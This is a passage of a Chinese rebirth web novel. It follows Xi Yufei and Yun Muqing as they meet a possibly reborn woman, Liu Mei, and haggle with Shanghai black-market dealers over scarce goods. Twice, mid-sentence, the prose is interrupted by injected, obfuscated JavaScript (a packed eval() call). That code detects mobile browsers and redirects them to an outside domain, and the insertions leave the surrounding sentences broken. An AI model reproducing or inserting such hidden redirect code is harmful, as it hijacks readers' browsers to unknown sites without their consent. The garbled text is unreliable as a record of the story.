柳眉恋恋不舍的收回目光,悠悠的叹了口气,“好了啦,我们内部要团结,不要总是吵架。还有阿影,我只是担心自己撞到了那名男同志,关心一下而已,你不要这么针对他。” 阿影又哼了声,不说话了。 四个人总算都不吭声了,闷头往黑市走。 柳眉边走边琢磨,她之前一直做一个模糊的梦,梦里的她在一次去黑市的时候,救了个退伍的军人,那名退伍军人为了感谢她,帮了她许多忙,甚至还把一个特别好的工作便宜卖给了她。 后来她终于成为了一名成功女士,在一次高端的酒会上,再次看到了那名退伍军人。 那个男人为了报答救命之恩,一直在默默无闻的帮她,当初她正在跟老公打离婚官司,还是那个男人出手,替她保下了大部分财产。 梦里的她想要以身相许,但那男人认为自己高攀不上,最终拒绝了。 原本,梦里那个男人的脸一直都是模糊的,直到她之前来了一次黑市,那张脸突然就清晰了起来。 就是刚才的那个男人! 哪怕周围那么黑暗,但她仍旧一眼就能看清楚那个男人帅气的脸,高大的身材。 如果自己这辈子,一开始就嫁给他,会不会命运就不一样了? 席于飞脑子里也在想这件事。 自己都能重生,那别人会不会也能重生? 那个叫柳眉的女知青对云总的态度明显不一样,或许自己真的是截了对方的机缘? 还是姻缘? 想到这里,他抬头瞅了眼身边的云穆清,“诶,想什么呢?” 云穆清茫然的看向他,“什么都没想啊。” 席于飞哼笑道:“我以为你一直惦记那个女知青呢,长得还不错,是吧?怪我把你拉开了没让你英雄救美?” 云穆清:…… “那个女知青长的不错吗?我还真没注意。这种时候往我身边凑的我都想要提防呢,哪里还顾得上看她好看不好看。不过你倒是看得清楚?” 席于飞:…… 好家伙,这个姓云的倒打一耙啊? “你这是要提防我呀?”席于飞转移话题。 云穆清:…… “你不一样,你救了我的命。” “那如果救你的是那个女知青呢?”席于飞也不知道怎么了,就是想知道云穆清到底怎么想的,或者他有没有什么重生的迹象。 万一自己真的拦了对方的姻缘,那可就罪过大了。 “她一个人也救不了我吧?”云穆清想起刚才那几个人的对话,就脑瓜子疼,“我可不想被她救了,就她身边那俩男的,没一个省油的灯!那个女的也挺奇怪的,我怀疑她接近我是不是有什么阴谋。” 席于飞:…… 算了,管他呢,反正自己救了未来的大佬,那这条大腿自己抱定了。 如果能再帮大佬把他的家人也救了,那自己这辈子,这辈子不就可以躺平了吗?? 不行,现在他就得好好琢磨琢磨,怎么才能把大佬的家人也救了,到不是自己想要躺平,毕竟救人一命胜造七级浮屠!! 积功德嘛,功德谁还嫌少呢? “你跟这里藏着,别让别人看见你啊,我过去打个招呼。”席于飞扶了扶自己的包,“还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802062|173223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一会儿那几个傻子过来,别搭理他们啊,知道吗?” 云穆清:…… 他乖巧的哦了声,“知道了,你放心,我不会搭理那几个傻子的。” “哟,庞哥。”席于飞看见蹲在台阶上百无聊赖的那个男人,笑眯眯的过去打招呼。 庞哥抬头,脸上露出笑模样,“好家伙,你可算来了,我天天等着呢。” 其实是知道今天有京城来沪市的火车,他特地跟人调了班过来的。 “东西带来了吗?” 席于飞道:“带了点儿样品,庞哥你看看?” “样品?”庞哥皱眉,他扫了眼席于飞拎着的那个鼓鼓囊囊的帆布包,“还挺多啊?都是样品?” “就在这儿看?”席于飞往周围扫了眼,这个地方虽然隐秘,但来往黑市的不少人都要从这里路过,实在不是验货的好地方。 “你等一下,我去喊个人。”庞哥站起身拍拍屁股上的土,抬脚就往黑市走,不过片刻他就带了个小伙子过来,“阿宝,你在这里盯着,我去验货。” 叫阿宝的小伙子黑瘦黑瘦的,跟席于飞差不多,但没他高,长得像个猴子。 “好的,庞哥,侬忙。” 席于飞把庞哥带到云穆清这边,庞哥被吓了一跳,“嚯,你这里还有帮手呢?” “同事,他长得一身正气,我怕他被别人误会。”席于飞只是笑。 庞哥:…… 听听你这话说的,什么叫一身正气被人误会?啊?他们是在做什么不好的事吗? 嗯…… 不过这话说的确实也对。 拐角处就是几间空房子,估计太久不住人,大门都坏了,院子里长满了杂草,就连屋子的窗框都被人偷走了,露出几个黑乎乎的大洞。 席于飞跟庞哥做贼似的蹲在地上,云穆清站在旁边放风,此时他满脸无语,搞不懂为什么自己会参与这种奇怪的行动。 “这是几款饼干,有夹心的,有巧克力的。还有巧克力,也是有酒心的,有带干果的。蛋糕啥的我没带,那玩意占地方不好带。这一包里面是各种烟,都是带过滤嘴的高级货。这是鱼片儿,鱿鱼干,各种糖果……庞哥定个价?” 庞哥:…… 庞哥都已经震惊了! 他虽然知道眼前这个瘦小子能从外贸商店弄来好东西,但没想到有这么多好东西! 只是普通糖果也就罢了,这烟……他也不好定价啊。 虽然这些东西都没有包装,是用报纸裹着的,但这年头谁在乎那些包装?好东西就算用报纸裹着,那也是好东西啊,有价无市! 这带过滤嘴的烟,没点儿门路,压根搞不到! 就算你有烟票也没用,供销社没货啊,百货大楼也很少会上这种高档的烟。 “你……这老些东西,我还真没办法定价。”庞哥狠狠的咽了口口水,“你等一会儿,我喊我大哥过来跟你谈。” 特么的,以为自己能赚个零花,可是这货太烫手了,也不是自己这种小喽啰能碰的。 席于飞抓了把烟和巧克力塞进庞哥的兜里,“还得让庞哥多帮我说说好话,沪市这条线我顶多再跑个两三趟就要换线了,如果这边谈不拢,我就只能去别的线上谈了。” “不会谈不拢,你等着,等着啊!”说着,庞哥嗖嗖的就跑走了。 28.又奶又狼云总 席于飞拎着他的大包,站在荒草丛生的院子里,看着靠在门洞墙上放风的云穆清。 “你难道就不好奇,我这些东西哪里来的?”他突然问道。 云穆清一愣,他站直身体,思忖片刻,“我应该好奇吗?” 席于飞被噎了一下,真没想到,云总你年轻的时候是这样的云总! “不好奇挺好的,毕竟好奇心容易害死猫。”席于飞开了个玩笑。 云穆清摇了摇头道:“我现在满脑子都是我家里的人,实在没有精神头好奇别的事。再说你供我吃供我喝,我还去好奇你的东西,那也太不是人了。” 唔…… 怪不得人家云总上辈子能蹬那么高,就这份心性,他竖俩大拇指都觉得不够。 “跟哥混,哥以后罩着你!”席于飞摸出两块巧克力塞云穆清手里,“以后你家人就是我家人,你爸妈就是我爸妈,你就是我兄弟!” 云穆清看着手里的糖,嘴角无奈的勾了两下,也不知道是不是在笑,或者有什么别的情绪。 “别人都对我避之不及,你倒好……” 席于飞啧了声,“被压迫就会有反抗,根据你家的情况来看,压迫你家的那些人绝对不是什么好人,否则也不会做出这么下作的事。既然他们不是好人,那么你和你家里人就是好人,好人嘛,那就应该去救,否则就让坏人得逞了。” 席于飞不觉得自己是多好的人,毕竟他年轻的时候为了赌那口气,为了糊口,也是反复在很刑的边缘来回跳跃。 那些年,他看尽了人世间世态炎凉,冷暖辛酸。 所以他有钱了之后,就开始尝试着拯救那些人。 基金会,建学校,山区补助,能做的他都做了。 一个想法是想为自己,为他已经故去的父母积德行善,另一个就是他希望当有些人在被困苦逼迫到边缘的时候,能有一丝希望让他重新振奋起来,而不是去探索刑法大全。 穷则独善其身,达则兼济天下。 他做不到兼济天下,但力所能及的事,还是可以做一些的。 那个姓陈的胎记男不是什么好东西,他作为爪牙,而他上面的那个姓何的,更不是什么好东西了。 间谍罪,贪污,谋害有功之臣…… 那么多罪孽都在他身上,被一粒花生米结束罪恶的生命的时候,全国的报纸和新闻都在报道。 而被那个姓何的压迫欺压的云家人,何其无辜。 至于姻缘…… 他都开始努力想办法救云总的家人了,挡了他的姻缘又如何?再说那个柳眉看上去就不大聪明的样子,这个金大腿可不能让出去。 既然他救了,那这就是他的! 不,不对。 柳眉?? 席于飞突然在记忆深处,翻出了关于这个名字的一些事。 铁路局一朵花,三八红旗手。他卖掉工作辞职去南方之前,这个柳眉好像还嫁给了铁路局高层的儿子。 对了,那个柳眉好像也是京城人,似乎跟李永军还是亲戚关系! 柳眉,柳眉…… 他想起来了!! 上辈子,有个轻纺工业的女强人,好像就叫柳眉。当初她离婚那件事闹得轰轰烈烈,拼下来偌大的家产差一点儿就被她前夫捞走不少去养小三小四跟私生子了。后来还是有个大佬帮她,才让她安全的带着大部分财产顺利离婚。 那个大佬,不会就是…… 席于飞偷摸扫视了一下眼前的云穆清,心说不是姻缘啊,是孽缘。 你说把工作卖了,不会就是卖给了那个叫柳眉的了吧?? 哇,怎么说呢,就难评。 “你可千万不能卖工作,”席于飞突然道:“否则我就不跟你玩了。” 云穆清正在剥巧克力,听到这句话猛地一愣,“什么?” “你不是想卖工作吗?我跟你说,如果你卖掉工作,我就不带你玩了!”席于飞也不知道哪里来的一股子怨气,狠狠的横了云穆清一眼,“挺大个人了,一点儿脑子都没有呢?” 平白挨了骂,云穆清一头雾水,但仍旧乖巧的把拆了包装的巧克力糖递到席于飞嘴边,“吃糖吗?” 席于飞:…… 妈耶,这,这云总。 怎么说呢? 就,有点儿可爱啊。 上辈子智能手机普及,他可没少刷那些稀奇古怪的视频。 什么小奶狗小狼狗的也了解了一些,但跟眼前这个比起来…… 云总真的是又奶又狼,比那些狗子们可强多了。 云穆清好奇的看着席于飞脸上风云变幻,然后把另一块糖也剥开放入口中。 牙齿轻轻一咬,清脆的外壳裂开,流淌出浓稠甜蜜的酒液。 吃着嘴里的糖,他的情绪又低落下来。 几年前,他还住在宽敞的大院子里,家里条件很好,有人来拜访爷爷奶奶和父亲母亲,就会带不少新鲜糖果和其他食物。 那时候他调皮捣蛋,经常把优雅的母亲气的拎着鸡毛掸子追着他揍。 被揍哭后,父亲又好笑的拿着糖果哄他。 那糖果,就是这个味道。 不过一夜之间,云家突然就塌了。 爷奶父母跟大哥大嫂还有无辜的侄子,都被抓了起来。他被紧急送去部队,妹妹也改了岁数,挑了偏远的地方下乡躲难。 一转眼,六年过去了。 “你还挺聪明,用我给你的糖讨好我。”席于飞吃着糖,哼了声道:“我告诉你,哄我也没用。想要当我小弟就得听我的。” 云穆清从低落的情绪中脱离出来,无奈的笑了笑,“好,听你的。” 席总满意了。 外面传来急促的脚步声,云穆清立刻警戒起来,“来了三个人。” “你打得过吗?”席于飞问。 云穆清:…… “能,不过如果打起来,你得赶紧跑,否则我没办法顾及你。” “你不用担心我,别被人再闷了后脑勺就成。”席于飞摆摆手,一脸轻松的站在那里。 云穆清:…… “老弟,席老弟?”外面庞哥轻声叫了两声,然后看见隐藏在黑暗中的云穆清,吓了一跳,“好家伙,你藏的这个地方真的是,席老弟在里面?” 云穆清点点头,让开了位置。 “庞哥,我在呢。”席于飞抬眼,看向庞哥带来的那两个人。 天上的云彩散了一些,毛月亮也亮了点儿,照亮了这一方小院。 庞哥带来的两个男人都是瘦高瘦高的,只不过一个更黑一些,头发很短,就像是那种部队头。而且他的气质看上去,也像部队退出来的,站在那里笔直笔直,带着一种压迫感。 另一个皮肤白皙,戴着眼镜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802063|173223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,脸上天生挂着一副笑模样,像个狐狸。 席于飞立刻就知道,这里谁是主事儿的人了。 不过他没有动作,只是看向庞哥,“他们能定价?” 庞哥笑呵呵的介绍,“这位是宁哥,我老大。”他指着那个黑脸汉子,又指了指笑面狐狸,“我们这里的会计,你叫他新哥就可以了。” “宁哥,新哥。”席于飞装出一副乖巧的样子打招呼。 宁哥点点头,目光落在云穆清身上,“当兵的?” “刚退。”云穆清重新隐藏在黑暗中。 “看出来了,气质不一样。”宁哥没多说话,只是对席于飞道:“东西我再看看。” 席于飞打开包,让宁哥新哥看包里的东西。 看上去,这个宁哥是有着主导权的,但席于飞能清楚的感觉到,其实真正有主导权的,是那个叫新哥的狐狸。 “还有什么新东西吗?”宁哥把手里的饼干放下,“除了吃的,用的之类的有吗?” 席于飞笑了笑,“只要宁哥钱够票够,我这里东西就有。除了这些吃的和烟,还有女人用的香水,口红,发卡。就算宁哥想要肉跟蛋,我也能想办法弄来。” 宁哥点点头,看向新哥。 新哥推了推眼镜,笑眯眯道:“东西很不错,不过我们要去哪里接货?怎么给钱?” 席于飞道:“先钱后货。咱们定好价,你们给我多少钱票,我给你们配多少货。提前找个地方放货,但别让人盯着,否则这交易就不行了。” “先钱?”宁哥皱眉,“不合适吧?” “没什么不合适的,如果您要的少,当面交易也成。但您要的多的话,那就得先钱。信得过我咱们就交易,信不过我也没办法。”席于飞不让步。 他知道,自己带来的都是好东西,尤其是女人用的香水口红,别看现在这个年代大家都很朴素,但愿意掏钱买这些东西的人不在少数。 尤其是,这里是沪市。 就是那种家里着火了,也要穿着体面的衣服才会跑出来的地方。 “我俩商量一下。”宁哥拉着新哥,走到角落里低声讨论。 不过两三分钟,两个人就重新走了过来,“可以,你说的那些东西我们都要,如果还有别的我们也要。先配一万块钱的货,其中三千块可以换票。明天能不能到货?” 席于飞点点头道:“能到货,但接货点儿是哪里?” 新哥掏出纸笔写了一串地址,又递给席于飞一把钥匙,“你放心,我们不会让人盯着,这个地方十分安全。” “不过你也别想卷钱跑,我们知道你是跟车过来的,一万块足够让你死无全尸了。”宁哥恶狠狠地威胁。 席于飞接过钥匙,也没搭理宁哥,只是看着新哥道:“那我就随意配货了?你们放心,都是好东西。对了,你们往这个院子里多放点儿面袋子,筐跟油瓶子之类的东西,我这里没有那么全。” 新哥点点头,“好,我们这就去准备,明天这个时间我们去拿货,没问题吧?” “没问题。”席于飞点点头,又指了指云穆清,“别让人盯着我们啊,我这个小弟也不是吃素的。” 宁新这两位哥嘴角集体抽了两下,那个云穆清是眼前这个瘦小子的小弟??? 真的假的? 算了,人家说是就是吧,他们只管接货卖货,不管谁上谁下!